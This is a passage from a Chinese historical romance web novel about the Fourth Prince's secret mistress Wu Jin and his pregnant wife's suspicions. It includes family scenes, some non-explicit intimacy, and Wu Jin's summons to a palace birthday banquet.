乌锦才抬头看一眼谢嬷嬷,其实四阿哥本来找她就不算太频繁,一个月没来找她也是常事,他有过两三个月不过来找她的先例,所以她反而习以为常,倒是谢嬷嬷跟瓜嬷嬷两人总是担心四阿哥忘了她,担心她失宠,前几日还问她要不要给四阿哥递话。
乌锦一般给他递话都是有事找他,而不是单纯地想让他过来,她一个外室,担心自己失宠属于是杞人忧天,她什么时候得宠过。
“四阿哥想什么时候过来就什么时候过来,他哪是我们这些人能左右得了的。”
乌锦话语刚落,就瞥到四阿哥进来,他不知是何时过来的,走路悄无声息的,真的挺吓人的,她掀开盖在腿上的小毛毯,下炕给他行礼,屈膝半蹲。
“给主子爷请安,主子爷万福。”
谢嬷嬷回头见到四阿哥,也很明显吓一跳,赶忙蹲下行礼。
胤禛象征性地甩了甩手,示意她们起来。
乌锦看了一眼外面,暗忖这还下着雨,他怎么会过来,她起来后吩咐谢嬷嬷一句:“天凉,嬷嬷你去煮一碗姜汤过来。”
“我这就去。”谢嬷嬷很快退出去。
“爷有淋到雨吗?”乌锦问了一句,目光落在他的脸上,刚刚自己也没说错什么话,何必心虚,他绷着脸,也不知道心情好还是不好,明明才十九岁,沉着个脸像是三十岁的人。
“你在这里日子倒是过得舒坦。”
“托爷的福,奴婢有谢嬷嬷她们照顾,这边一切都好,主子爷……过得不好吗?”乌锦犹豫问道,看他的样子像是遇到什么烦心事,自己过得不好才会觉得别人过得好,才会言语挑刺。
胤禛不说话,只是冷冷地坐在铺炕上,他拿过她喝过的茶杯,喝一口茶后就嫌弃道:“冷的,给我泡一壶热茶。”
“放了有一个时辰了,奴婢给主子爷重新泡一壶。”
乌锦知道他此时心情肯定不好,老老实实去泡茶,泡好后一杯热茶送到他手中。
“爷,喝茶。”
他喝一口又说是烫的,问她是不是想烫死他,乌锦忍住想骂人的冲动,她主动帮他吹了吹,试图把茶水吹凉。
“我想要喝一口茶得等到什么时候,你会不会伺候人?”
完全是挑刺加发脾气,乌锦压制住翻白眼的冲动,她先喝一口,然后直接对着他的嘴喂下去。
胤禛没想到她会有这种举动,她亲过来的时候,他本能地张开嘴,他已经跟乌锦吻过太多次,完全是处于本能的反应,那口茶水顺着进入他口中,他不得不咽下去,亲完后,他怒瞪着她,骂道:“你恶心不恶心,你这是把你喝过的吐到我口中。”
“有吗?反正我们都亲过那么多次了,我想你应该是不介意,况且这样不是不烫了嘛,你不是想喝茶水吗?我不过是帮你而已。”
胤禛见到她藏不住笑的样子就知道她是故意的,他气得把她扯过来,直接咬她的唇。
“哈哈哈,好啦好啦,爷,我知道错了,我下回再也不敢了,饶过我一回。”
胤禛不知为何从咬变成吻,堵住她的嘴,不让她说话,渐渐的,他把她拉到床上去,二话不说先发泄一回,痛快了,他才把人放开。
“爷心情好些了吗?”
“少问!”
“不问就不问。”乌锦撇撇嘴。
胤禛不会对着一个外室说宫里的事,他心情的确好一些,至少暂且把宫里的事忘掉,温香软玉会让人一时沉溺其中。
“你都做了什么?”
“我还能做什么,我一个小女子不像主子爷可以治国安邦,我只能刺刺绣。”
胤禛听到治国安邦四个字,狠狠皱眉,斥她一句:“别乱说话,什么治国安邦,口无遮拦,你小心你的脑袋。”
治国安邦那是皇阿玛的事,是当朝天子的责任,他又不是皇阿玛,怎么能说治国安邦,被有心人听到还以为他要夺位。
乌锦吐了吐舌头:“是我错了,是我口无遮拦,主子爷当没听到。”
“每日只看那些话本子,脑子都变笨了。”
乌锦窝在他怀里点点头:“主子爷说得对,我这脑子一向都不聪明,好在这里只有我们两个人,没有别人听到,我以后会注意的。”
胤禛垂眸看她,这个女人惯会弄巧呈乖,耍小聪明,故意撒娇眨眼的样子让他一时哽住,斥责的话也说不出,到底是小官之女,不懂这些曲曲绕绕也是正常。
“爷,你要在这里用膳吗?”
“不饿。”
“可是我饿了,我想起来吃点东西。”
胤禛拍一下她屁股:“你是越来越胆大了,躺着,哪也不许去。”
乌锦只好陪他躺着,躺着躺着就睡着了,再起来时,四阿哥已经不见人影,谢嬷嬷说四阿哥已经走了,她让谢嬷嬷给她端避子汤,不该睡过去的,这避子汤喝晚了可能会出事,她可不想流产堕胎。
她喝完避子汤后才稍微安心一些。
……
胤禛回宫后已经快天黑了,他直接去福晋那,在福晋这里用晚膳。
乌喇那拉氏两个月前已经诊出有孕,自从有了身子之后,四阿哥反而常过来陪她用膳,问她有没有不适,很是看重她这一胎。
若是她的孩子能顺利降生,是个阿哥的话,那就会是四阿哥的嫡长子,四阿哥心里应该也是盼着长子从她肚子里出来。
两人面对面坐着,旁边有布菜的宫女,乌喇那拉氏孕前期没什么食欲,孕吐比较厉害,她吃得不多。
“怎么不吃?你有身子的人,一个人吃两个人补,得多吃。”
乌喇那拉氏见四阿哥温柔地叮嘱她,她哪怕吃不下也当着四阿哥的面多吃几口,她没有问四阿哥下午去了哪里,为何会冒着雨出宫。
她晓得四阿哥上午跟德妃娘娘发生了争执,德妃娘娘虽是四阿哥的生母,但四阿哥先前是被记在孝懿皇后名下,由孝懿皇后皇后抚养,孝懿皇后殁了之后,四阿哥基本上是由乳母等奴才养大,所以四阿哥其实跟德妃娘娘不怎么亲近,稍显陌生。
正是
因为不怎么亲近,母子两才多有争执。
四阿哥心情不好的时候有时候一个人闷在书房,有时候会出宫。
乌喇那拉氏以为晚膳过后,四阿哥不会在她这边歇下,没想到四阿哥没打算去别处,在四阿哥沐浴时,她主动给四阿哥宽衣。
她给四阿哥宽衣时有闻到一股别的味道,虽然淡,但怀孕后,她的嗅觉反而灵敏许多,像是行房过后留下来的味道。
想到四阿哥出宫了,乌喇那拉氏觉得他可能去花楼了,所以他才不去李氏或者宋氏那,正因为她怀孕了,他们不可能做那事,要是去李氏宋氏那里,就有可能要做那事,已经在外面餍足的四阿哥今晚显然不想再做那事。
两个月前,简世子雅尔江阿传出养外室的传闻,而雅尔江阿一向跟四阿哥走得近,四阿哥去那么多次花楼,怎么会一点风声都没有传出来,花楼毕竟是一个繁杂的地方,四阿哥怎么能瞒得那么严实。
乌喇那拉氏怀疑四阿哥跟雅尔江阿一样是养外室,而不是去花楼,养外室就隐蔽得多,反正她知道肯定有一个人在外面勾着四阿哥,她怀疑一直以来都是同一个人,而不是不同的人。
乌喇那拉氏成为福晋那一天起就不指望自己的丈夫会专宠她一个人,而不碰其他女人,尤其是自己的丈夫还是皇子。
她希望四阿哥雨露均沾,不会专宠一人,不会对某个人上心,不管怎么样,她永远是福晋,永远能压那些女人一头,但偏宠就不一样了,有四阿哥的偏宠,她身为福晋可能都要忌惮得宠的人,毕竟在后院,永远是以四阿哥为首。
乌喇那拉氏脑子里闪过许多想法,最后都压下,专心伺候四阿哥沐浴。
她如今有了身孕,嫡长子会从她肚子里出来,谁也不能越过她,这样一想,乌喇那拉氏的心就平和许多。
夜深了,四阿哥跟她同枕而眠。
……
康熙三十六年五月二十日,太子大婚。
乌喇那拉氏作为弟媳,自然要参加太子的喜宴,她跟大福晋、三福晋她们坐在一块。
太子比几个弟弟要晚几年大婚,上一年选秀,皇上将石文柄长女赐给太子,石文柄从福州前来京城谢恩时突发急病,骤然离世,不过这婚期没有延迟。
太子原先就晚婚了,为太皇太后守孝三年,若是石氏再守孝三年,那太子得等到什么时候才真正大婚。
乌喇那拉氏怀孕的消息已经传遍后宫,大福晋等人都是生养过孩子的人,纷纷问她最近感觉如何,可有不适。
乌喇那拉氏说她有点孕吐,其它的还好。
大福晋等人跟她说吃什么能减少孕吐,乌喇那拉氏一一记下,过一会儿,三福晋说到简世子养外室的事。
大福晋不以为意道:“这有什么,男人大多如此,不过是养一个外室而已,这外头的女人多的是想飞上枝头变凤凰的,那些女人心思多的很,哪里管得过来。”
乌喇那拉氏听到大福晋这么说,以前可能还会在心里笑大福晋,毕竟大阿哥那些莺莺燕燕最多,风流的名声在外,几个成年的阿哥里就属大阿哥后院的女人最多,连太子都比不过,大福晋这么说更像是在找补,可如今她想到四阿哥在外面也有一个外室,她就有点笑不出来。
三福晋也附和道:“是啊,不知道有多少人想将那些女子往阿哥床上送,的确是管不过来,雅尔江阿的福晋不是已经生下阿哥了吗?小阿哥几岁了?”
乌喇那拉氏才开口说好像是四岁。
“那怕什么,外室而已,终究是上不了台面,难不成还能越过福晋,等过一段时日可能就腻了,这外室有本事让自己成为真正的主子再担心也来得及。”大福晋说起外室时,语气充满不屑。
大家都很赞同,她们同为福晋,对这些事比较感同身受,闲聊归闲聊,她们不会往外说这些闲话。
太子大婚的宴席持续了很久,阿哥们跟女眷病没有坐在一块,乌喇那拉氏在宴席结束后先行回到乾西三所。
四阿哥他们还没回来,她晓得四阿哥可能会喝酒,吩咐奴才们备好醒酒汤。
过了好一会儿,四阿哥才回来,是被苏培盛等人搀着回来的,果然喝酒了,而且喝多了,她让人把四阿哥放到她这边,她照顾四阿哥。
一帮人先喂四阿哥醒酒汤,后给四阿哥简单擦拭,换下不干净的衣服。
“爷,你还好吗?”乌喇那拉氏问了一句。
胤禛坐在床边,眼神有些迷离,看上去还有意识,他说他很好。
“今日喝得高兴,难得我们喝得这么高兴,二哥他喝多了,今晚恐怕洞不了房。”
乌喇那拉氏觉得四阿哥肯定喝多了,她让四阿哥躺下,躺下会舒服许多。
胤禛想了想,还是躺下来了。
乌喇那拉氏又让人用热毛巾给四阿哥擦一遍身,让四阿哥睡得更舒适一些,热毛巾拿来,她亲自给四阿哥擦拭。
擦着擦着,四阿哥突然抱住她。
“主子爷……”
乌喇那拉氏刚说话,四阿哥就突然亲她,她吓一跳,因为四阿哥很久没有这样亲她了,他们已经成婚七年了,已经算是老夫老妻了,这样亲昵的举动在前两年还有,到后面就越来越少,到今日,她都想不起来四阿哥上次这样亲她的唇是什么时候。
不知是四阿哥喝醉了,他亲的时候有些粗暴用力,没有章法,甚至四阿哥无意识想要压住她,乌喇那拉氏肚子里有孩子,她好不容易怀上孩子,不可能任由四阿哥胡来,她试图把人推来,只是她越推,四阿哥越用力。
以前四阿哥不会这么粗暴,乌喇那拉氏有点吓到,怕伤着孩子,她尝试叫醒四阿哥:“主子爷,你怎么了?”
“乌锦,你给我乖乖的!”
乌喇那拉氏没听清,觉得四阿哥好像说了一个人命,眼看着四阿哥的手已经往下,她赶忙叫人。
“快,把四阿哥拉开。”
奴才们把四阿哥拉开,在床上的四阿哥感觉到不对劲,微微睁开眼,意识好像回来一些,看了一眼乌喇那拉氏,什么也没说,又继续睡过去。
乌喇那拉氏觉得今晚的四阿哥不对劲,刚才那一眼,四阿哥好像醒了。
四阿哥之后就安安静静睡着了,没有其它动作。
乌喇那拉氏怕夜里四阿哥又闹腾,她没有跟四阿哥睡在同一张床,而是到外间的铺榻上歇下,让两个宫女在里面守着四阿哥。
她没能睡着,一直想着方才的事,四阿哥刚刚的确是叫了一个人名,她虽然没听清,但她很确定那是一个人名,不是李氏宋氏等人的名字。
而且刚刚四阿哥虽然在酒醉中,但他动作很用力又很娴熟,差点就把她压住了,是不是四阿哥对别人做过这样的事?
乌喇那拉氏不知为何,突然一下子很肯定四阿哥在外面真的有人了,他可能跟雅尔江阿一样养了外室,而且可能还不是一两个月,日子应该不短了,至少四阿哥对那个女人上心了。
乌喇那拉氏摸着自己的肚子,不管怎么样,她都得顺利平安诞下这个孩子,至于四阿哥养外室这事,她也得让人查一查,那个女人究竟是谁。
翌日,四阿哥醒来时已经完全清醒,他没有提昨天的事,乌喇那拉氏也装作无事发生,跟四阿哥一块用早膳。
等四阿哥离开她这院后,乌喇那拉氏把丁公公叫过来,让丁公公给她娘家人传个信。
“奴才晓得了。”
“让他们一定要小心,不要让四阿哥察觉。”
……
乌喇那拉氏专心养胎,德妃也让人送来一些补品,不过如今怀着孕,她也不敢乱吃补品,孕吐得厉害时吃一些酸的能好受一些。
乌喇那拉氏等着家里人给她传信,只是过去十几日,还没有任何动静,不知是出了什么问题。
六月一日,乌喇那拉氏早上刚吐过一回,她让人请太医,太医给她把脉
后说她胎相虚弱,给她开了安胎药。
她喝过安胎药后一直躺在床上,外头传来动静,她见到四阿哥走进来,她想起身时,四阿哥说不用,她只是从床上坐起来。
“你让人跟踪我?”
四阿哥开门见山的一句话让乌喇那拉氏瞳孔一缩,她看向四阿哥,四阿哥一直以来都是面上温和的性子,但她跟四阿哥相处久了,知道四阿哥绝不是温和之人,温和只是他的表象。
就像此时的四阿哥神情冷沉,一双黑眸像是蕴着无尽的深渊一般,她亦不敢跟他对视,她假装镇定,实则心虚:“主子爷,你在说什么?我为何要让人跟踪你,爷,你是不是弄错了?”
“你当好你的福晋,我的事,你最好别管,再有下次,别怪我不留情面。”
四阿哥还是第一次这么跟她说话,平日里四阿哥交代她什么事语气也是尽量平和,很少这么冰冷凌厉地跟她说话,透着一股不容拒绝之势,乌喇那拉氏知道自己触及到四阿哥的底线了。
她只好道:“主子爷,我知道了,下次不会了。”
四阿哥说完后就转身离开,乌喇那拉氏觉得自己的肚子又是一疼,她忍不住摸着自己的肚子。
“福晋……要不要叫太医?”
乌喇那拉氏制止崔嬷嬷,“先不用,我缓一会就好了。”
崔嬷嬷忍不住说道:“福晋,四阿哥他未免太狠心了,福晋又没做错什么,何必这么跟福晋说话。”
乌喇那拉氏等这阵疼过去后才开口:“嬷嬷,四阿哥他只是警告我而已,我的确不该手伸那么长,算了,我们别管四阿哥的事。”
“只是福晋不是说四阿哥在外面有人了嘛?四阿哥这是怕被人发现?”
不管是四阿哥怕被人发现还是他不想让人管他的事,四阿哥既然发现她的所作所为,她肯定不能轻举妄动了,省得真的惹怒四阿哥,虽说这七年,四阿哥没对她发过脾气,但她也不敢真的惹怒四阿哥。
乌喇那拉氏叹口气,她总觉得宫外那个女人恐怕不是那么好对付,现在只是外室还好,若是她也进了四阿哥的后院,那她才真的是要开始担心了。
“嬷嬷,以后不要再说这件事,当做不知道吧,我想四阿哥肯定会有分寸的,我目前最要紧的是顾好我肚子里的孩子,其它的都不要紧。”
崔嬷嬷也肯定道:“福晋说得对,最重要的是小阿哥,福晋把小阿哥生下来,谁都不会越过福晋。”
乌喇那拉氏摸着自己的肚子,希望她的孩子能平安降生,一定要是个阿哥。
乌喇那拉氏是不敢再让人跟踪四阿哥,不过问四阿哥的事,开始专心安胎,甚至让李氏帮她分担后宅事务。
50-60
第51章第51章更新
第51章
乌锦回趟家,她额娘让她过去姑母府里一趟,因为姑母这阵子频频过来找她,只是她人不在家,她晓得姑母肯定是为了外面那些传言找她,她想了想还是过去一趟。
到姑母家后,乌锦被领着进姑母那院的东次间,她发现这次人来得非常齐,连姑父跟大堂哥二堂哥他们都在。
姑父跟姑母坐在正中间的红漆圈椅上,大堂哥跟二堂哥还有堂嫂他们坐在旁边,颇有种三堂会审的架势。
二堂嫂富察氏见到她进来,起身迎她,直接拉着她到一旁的空椅上坐下,给她上了茶水。
乌兰英扫了一眼乌锦今日的穿着,上着湖绿色的褙子,下着青色缎裙,头上只有一支银色素钗,身上几乎没有什么贵重的首饰,跟往常的打扮并无不同,一惯的简单素雅,她先前没有真正仔细认真打量过这个侄女,如今一看,乌锦其实算不上难看,若是没有脸上那块大疤,她绝对是容貌出色的女子,更何况乌锦本身性子就平和,她有一种从容不迫的气质。
她先前就觉得乌锦若是男子,她便会是乌家最有出息的人,她那个阿玛太过平庸,远不上乌锦这个女儿有头脑。
乌锦如今是真的攀上世子了,虽说现在只是外室,但以乌锦的脑子跟手段,肯定能让自己从外室变成真正的主子,怪不得乌锦先前都拒绝那些亲事,一个都看不上,原来她是看上世子了。
乌锦若真成了世子后院的庶福晋,他们往后还得捧着乌锦,乌兰英一想到这,心里是有些不舒服的,这么多年,乌锦一家都是靠着他们,谁会想到有一天会倒转过来,可能他们需要靠着乌锦,想到这,所以她忍不住想压住乌锦的风头,让她别太得意。
乌兰英看了一眼乌锦,她倒是没有什么不好的脸色,跟以前一样还是淡定平静的模样,她出声道:“桃子,你不该瞒着我们,还瞒了这么久,你把我们当成什么人,难道你怕我们给说出去不成?”
“姑母,你说的是什么事?”
大堂嫂安佳氏忍不住说道:“乌锦,其实我们知道你跟世子爷的事了,世子爷那边亲口承认了,你就别瞒我们了,你就没把我们当成一家人,这种事都瞒着我们,额娘这阵子都气得睡不着,你若早说你跟世子爷在一块了,我们怎会还给你说亲。”
乌锦只听到世子爷亲口承认这句话,雅尔江阿为何会承认,转念一想,估计雅尔江阿是替四阿哥隐瞒,替四阿哥担了“罪名”,她只好顺着说:“是我不好,让姑母为我操心了,我跟世子爷……”
她顿了顿才继续说道:“是世子爷不让我对旁人说起这事,这事不是什么光彩之事,我又不敢违逆世子爷的意思,并非是有意隐瞒姑母,还请姑母别生我的气。”
乌兰英想想觉得也是,外室本是见不得光的,又不是真正的主子,哪里好意思主动宣扬,她看着乌锦,问道:“那你有什么打算?世子爷可有给你什么承诺?你总不能一辈子当外室吧。”
乌锦叹口气,假装颓丧无奈:“姑母,这由不得我,世子爷他并未给我什么承诺,如今我只能走一步看一步。”
乌兰英这会又没有打压乌锦的想法了,他们都是乌家人,乌锦若是能进世子后院当主子,跟李夫人比起来,乌锦跟他们关系更近一些,往后说不定能帮到他们,她连忙说道:“怎么能走一步看一步,母凭子贵,你若是能怀上孩子,世子肯定会让你进府的。”
富察氏也看着乌锦,握着乌锦的手:“其实额娘说得没错,母凭子贵,你尽快怀上孩子,总不能一辈子当外室,名正言顺不是更好,这样,我去药铺给你抓一些滋补助孕的药给你。”
乌兰英也点头,赞同道:“是,得尽快怀上孩子,吃些助孕的药,你如今不住在家里,是住在哪里?”
乌锦说世子爷给她另外购置了一座宅子,她住在那边,药的话,她身子无恙,无需喝药,孩子的事急不得。
这屋内突然变成女人讨论如何能快些怀上孩子,男人坐在那有些尴尬,很快寻了借口出去了。
乌锦听了不少尽快怀上孩子的方法,她从姑母家里出来手上多了四副药,她回到家后跟额娘小娘她们说了这事,她告诉额娘她们她是保泰的外室,但外面的人认为她是雅尔江阿的外室,她希望额娘她们别说漏嘴。
乌锦在家住一晚,怕四阿哥突发奇想来找她,她不敢一直住在家,知道家里一切都好,她又回宅子那边了。
而雅尔江阿这边烦心事就多了,无论阿玛还是额娘都让他把乌锦纳进府,说是养在外面只会落人口实,一个庶福晋而已,他们同意他将人送进后院。
可问题是他哪敢让乌锦进他的后院,那是四阿哥的人,他只能敷衍过去,结果被阿玛痛骂,差点被家法伺候,他也不敢找四阿哥诉苦,只能默默承受。
许是他一直不松口,他们才终于放弃,反正养外室的名声在外了,再纳进来也改变不了他养过外室的“事实”。
至于四阿哥对乌锦是什么想法,他也摸不清。
到了七月,夏季雨多
,多地发生洪灾,四阿哥被皇上派去赈灾了,雅尔江阿也有一段时日没见到四阿哥。
雅尔江阿被大阿哥叫去酒楼喝酒,大阿哥调侃他跟他一样都是养外室的男人,他只能干笑,他跟四阿哥不同,他觉得这女人养在外面跟养在家里没什么不一样,还不如养在家里,反正都是养,养在外面还得额外置办宅子。
雅尔江阿因为这事烦心得很,不知不觉就喝多了,他喝醉后说了什么,他自己都不知道,他连他自己怎么回家的都不记得。
等他醒来的时候,见到他的妻子。
“爷,你醒了。”
瓜尔佳.芷安将丈夫扶起来,“你昨日喝多了,大阿哥让人送你回来的。”
雅尔江阿想着他不该喝那么多,大阿哥让他喝,他也不能拒绝,不知不觉就喝多了,宿醉后醒来果然难受,头疼欲裂,甚至有些反胃。
“爷,喝点酸梅汤吧。”
雅尔江阿喝了半碗冰镇酸梅汤才觉得好受一些,他看向芷安,问道:“我昨日没说什么胡话吧。”
“爷送回来的时候已经睡过去了,没说胡话。”
“我今日哪也不去了,让我再躺一会吧。”
瓜尔佳.芷安知道他这会难受,她让人给世子爷揉按脑袋,让他好受一些,他这会也吃不下膳食,她让人切一盘新鲜的瓜果过来。
雅尔江阿被这么一伺候的确舒服许多。
“多兰这几天在家安分吗?”
“挺安分的,没怎么出门。”
雅尔江阿嗯了一声,自家妹妹的婚期已经定下,还有几个月就要出嫁,他希望她别再惹出什么事,好好待在家里等着出嫁。
雅尔江阿不知道的是他喝醉后有说胡话,他跟大阿哥说了许多,只是在被送回家之前,回家后他的确睡着了。
……
乌锦听说四阿哥被派去外地赈灾了,并不在京城,她就回家住了,跟以前一样白天去铺子那边,傍晚回家。
七月份的京城已经很是炎热,她额娘弄了好几道凉拌菜,凉拌牛肉片,凉拌花生米跟凉拌鸡丝,看着很开胃。
“先喝口汤吧,天热得多喝汤。”
小娘给她盛一碗鸡汤,鸡汤还是温热的,乌锦喝了两口就开始夹花生米吃。
“吴翠萍怀孕了,三个月的身孕。”
乌锦抬头看她额娘,吴翠萍是她小舅的小妾,记得是几个月前才纳的妾,这么快就怀上孩子了。
“你明日随我去一趟你小舅家吧。”
乌锦点头说好。
“我也要去。”乌明嚷嚷道。
乌锦笑着看乌明,说他明天要上学,去不了。
“那我不去上学了。”
乌明是三天两头闹着不去上学,他们都以为习惯了,乌锦给他夹一块牛肉片,笑道:“你不去上学的话,那郑之麟只能一个人去上学了。”
“那就让他一个人去。”
“那他之后就不跟你玩了。”
乌明睁着大眼睛有些犹豫,他天天跟隔壁三婶的二儿子玩在一块,天黑了,不让他跟郑之麟一起玩,他还会生气。
“算了,我还是去上学吧。”
乌锦被逗笑。
一家人难得这么轻松愉悦地吃一顿饭。
翌日,乌锦跟彩玉一块去铺子,到铺子后,彩玉凑在她耳边说她这两日总是见到同一个人在铺子附近守着,那人鬼鬼祟祟的。
乌锦倒没有注意到,主要是她发现看她的人很多,那些好奇的目光总是假装不经意地落到她身上,她一看那些偷看的人,直视他们,他们就会立即装作没在看她地扭过脑袋。
彩玉说了那人的长相跟穿着,乌锦过一会儿才站到铺子门口,扫一眼来来往往的人,发现如彩玉所说,有一个人在铺子附近,二十来岁,长相普通。
可能察觉到她在看他后,那人就走开了。
接下来几天,乌锦有心留意,发现那日见到的人总会出现在附近,好像是在盯着她的一举一动,再过几日,那人就不见了,不知是不是察觉到她发现他了,不再盯着。
她在家住的日子久了,不知日子过得这么快,直到谢嬷嬷过来找她,她才意识到她已在家中住了一个月,上一次见四阿哥已经是一个半月前。
她跟着谢嬷嬷上了马车,她问谢嬷嬷四阿哥何时回京的,谢嬷嬷说她也不知道,估计是前两日回来的。
过了一会,赵师傅说有人跟着他们,乌锦掀开后车帘看向后面,后头的确有一辆马车不紧不慢地跟着他们。
她心想难不成又是多兰格格找她麻烦。
赵师傅慢慢放满速度,看后头的马车会不会超过他们,那辆马车也驶上来,走在他们前头。
乌锦总觉得哪里不对劲,会不会真的有人在跟踪她?
到了宅子这边后,四阿哥在等她,脸色阴沉。
“我不是让你住在这里吗?”
他一开口就是质问,乌锦没想到自己会被抓个正着,她哪知道他什么时候回京,他要是让人告诉她何时回京,提前给她报个信,而不是突然前来,她也不会让他等。
“是奴婢错了,奴婢没想到主子爷今日会过来,奴婢是住在这,只是回家几日而已,主子爷别生气了。”
乌锦边说边走过去抱着他,坐在他腿上,“奴婢怎么觉得主子爷瘦了一些,此次前去赈灾肯定很辛苦,奴婢好心疼呀。”
“再有下次,我绝不饶你。”
“知道了,奴婢知错。”
乌锦主动亲他,不让他说下去。
胤禛时隔一个半月才过来一次,上一次过来时也隔了一个月,等于是两个半月,他才找她两次,她这个外室当的是真轻松。
说起来为了养她,他每个月花去不少银两,每个月给她二十两,谢嬷嬷她们的月银也是从他这里支出,养一个外室每个月至少花去五十两。
想到那些花出去的银两,胤禛今日就使劲折腾她,至少要花得值。
乌锦觉得四阿哥今日特别勇猛,精力特别好,她都有点无力承受,舌头都被卷麻了,到后面,她懒得再管他,跟一条咸鱼一样静躺着,动也不动。
结束后,她才真正松一口气,可磨死她了,她累得昏睡过去。
胤禛看着睡着的人,也没说什么,只叫来谢嬷嬷给她擦药,过了一会儿,他才起身离开。
……
康熙三十六年八月二十日,昨夜下了一场暴雨,雨水稍稍驱散夏季的炎热,今日有些阴凉,乌锦在房间内刺绣。
谢嬷嬷领着彩玉进来,她诧异,问彩玉怎么过来了。
“小姐,是李夫人让我找你,她让你明日巳时正去王府,说是宫里的娘娘找你,她领你进宫。”
乌锦挑眉,宫里的娘娘找她,找她做什么,宫里肯定有比她更出色的绣娘,怎么会找她,难不成宫里的娘娘看上她的绣工了?
既然是宫里的娘娘找她,她不能不去,她要是进宫的话,会不会碰到四阿哥,她这身份适合进宫吗?
乌锦有些拿不定主意,她让谢嬷嬷给四阿哥传话,提前跟四阿哥说一声。
彩玉是第一次进来这座宅子里面,她忍不住开始打量,想知道自家小姐过得好不好,她发现这屋子里的东西看上去都很精致。
“彩玉,你看什么呢?”乌锦交代完谢嬷嬷见彩玉眼睛骨碌骨碌四处看。
“我想看小姐在这里过得好不好。”
乌锦听到这话,心间微热,“傻丫头,我家小姐穿金戴银的,过得很好,不用担心,待会让赵师傅送你回去。”
彩玉凑过来,摸了摸她脖子,“哪有穿金戴银,明明什么都没戴。”
乌锦笑道:“一个人待在房间里哪需要穿金戴银,万一把脖子累到怎么办,那些金银首饰都藏在柜子里面,免得被你偷去。”
彩玉整个人挂在她身上,撒娇道:“小姐说了,我要是嫁人了,小姐可是要给我出嫁妆的,我不用偷,小姐也会给我。”
乌锦摸了摸彩玉的脸,问她要不要留下来跟她一起用膳。
“好啊,我要看看小姐在这里吃什么。”
彩玉待了半个多时辰才离开。
乌锦想着明日进宫的事,夜里有些睡不着,她从来没有进过宫,见过宫里的娘娘,都说宫中规矩严苛,她希望自己不要犯错。
翌日一早,她便让谢嬷嬷给她梳妆打扮,难得穿
上旗装,梳上小两把式旗头,戴上的首饰还是以简单素雅为主。
她才知道谢嬷嬷是从宫里出来的,谢嬷嬷简单教她一些规矩,她记下后才过去简王府,本以为她是跟李夫人一同前去,但她发现不止有李夫人,还有王爷的福晋西林觉罗氏跟世子福晋瓜尔佳氏。
瓜尔佳氏见到她时,跟她微笑点头示意,看上去很和善,而西林觉罗氏见到她的时候直接冷着脸,一开口就是让她进宫后一定要守规矩,不该说的话别说。
“还有你虽是雅尔江阿的外室,但不许以此自居,你是以佐领之女的身份进宫,旁人若问起,你小心作答。”
西林觉罗氏不明白自家儿子为何会看上乌锦,她都同意让他纳乌锦进府,偏偏他又不把人带进来,非要留下话柄,她搞不清楚自家儿子在想什么,如今事情闹大了,人尽皆知,连宫里的娘娘都好奇,突然叫她们把乌锦带进宫,她肯定不想把乌锦带进宫,这不是给人看笑话嘛,他们王府的脸面还要不要了。
只是她们也不能违抗娘娘的旨意,尤其娘娘那边的意思很坚决,她们只能将人带进宫,但毕竟是外室,她不能在明面上跟王府沾上关系,这一点,她得提醒乌锦。
西林觉罗氏觉得时辰差不多了,示意她们该出发了,别误了时辰。
乌锦上了马车,她跟李夫人坐在同一辆马车,她才知道今日是宜妃娘娘的生辰,宜妃娘娘在宫里举办了生辰宴,邀请了不少官妇前往宫中庆生。
李夫人跟她说她也不知道为何宜妃娘娘会叫她进宫,就是突然让她们带她进宫。
乌锦更加疑惑了,她肯定不认识宜妃娘娘,宜妃娘娘为何要让她进宫。
“你跟世子爷的事是不是真的?”
乌锦看向李夫人,一时不知作何回答。
李氏见乌锦犹豫,以为她是不好意思,她拍拍她的手,安慰道:“可能娘娘只是想见见你,你跟世子爷的事,很多人都有所耳闻,娘娘许是对你好奇,不过宫中不比宫外,一言一行都要注意。”
乌锦点头说她知道了。
简亲王府离皇宫不远,马车行驶一刻钟就到了。
神武门前停着不少马车,都是今日过来参加宜妃娘娘的生辰宴的,看上去请了不少人,她们在神武门前下马车,被宫里的奴才领着进去。
乌锦紧紧跟在李夫人身边,李夫人是王爷的妾室,在对外应酬这一块,基本上还是福晋西林觉罗氏出面,除非跟李夫人很相熟的人,才会跟李夫人打声招呼,寒暄一两句,不然都是对着西林觉罗氏说话。
妻妾分明,尊卑有别,连瓜尔佳氏都比李夫人要受重视,毕竟瓜尔佳氏是雅尔江阿的嫡福晋。
乌锦将这种微妙的差别看在眼里。
宜妃娘娘是住在翊坤宫,但今日生辰宴是在乾清宫举行,可见宜妃在后宫中有多受宠,既然在乾清宫举行,那皇上应该会露面,只是不知阿哥们会不会过来。
乌锦这张脸走到哪都会备受瞩目,哪怕她已经很低调,跟在李夫人身后几乎一言不发,她依旧能感觉到不少目光落到她身上。
能受邀进宫的宫妇都是有头有脸的,对京城发生的事肯定也有耳闻,尤其是雅尔江阿也不是普通人,她就在人群中听到外室两个字,那些人似乎在口耳相传,窃窃私语,落在她身上的视线就更多了。
乌锦身份尴尬,但毕竟是宫里,没有人敢在宫里闹事,让人难堪,哪怕她们知道她的身份,顶多窃窃私语,而不是上前直接问她是不是雅尔江阿的外室,让她难堪。
“乌姑娘,是你,我还以为我看错人了呢。”
乌锦见到王夫人越过人群过来跟她说话,她给王夫人福福身。
“不用多礼,我没想到会在宫里见到你,我跟你说,我也是第一次进宫。”
王夫人还是跟以前一样大大方方,性格爽朗,丝毫不介意旁人的目光,王夫人丈夫官职并没有特别高,但她女儿跟佟国维的儿子订亲了,这可能是她被邀请的原因。
乌锦说她也是第一次进宫,她给王夫人介绍李夫人,西林觉罗氏她们已经过去跟相熟的人寒暄,只有她们坐在位置上。
王夫人跟李夫人也寒暄两句,李夫人知道王夫人的女儿跟佟国维的儿子订亲了,她跟王夫人说声恭喜。
“我听说多兰格格今年要出嫁了,格格的额驸是谁?”
李夫人说了伯柱的身份,在她看来,多兰挑的额驸一般,只是一七品典仪的儿子,属于低嫁了,还没有王夫人的女儿嫁得好,不过多兰并不是她生的,不是她的亲生女儿,她对多兰的亲事没有置喙插手的权利,只能旁观,反正她女儿肯定不会嫁给一七品官的儿子。
两人开始说女儿出嫁前的琐事,就这样聊起来,相谈甚欢。
乌锦坐在一旁听她们聊天。
直到西林觉罗氏她们也回到座位上,王夫人才走开。
第52章第52章更新
第52章
宴上人人打扮得花团锦簇,衣着光鲜,金银首饰泛着光泽。
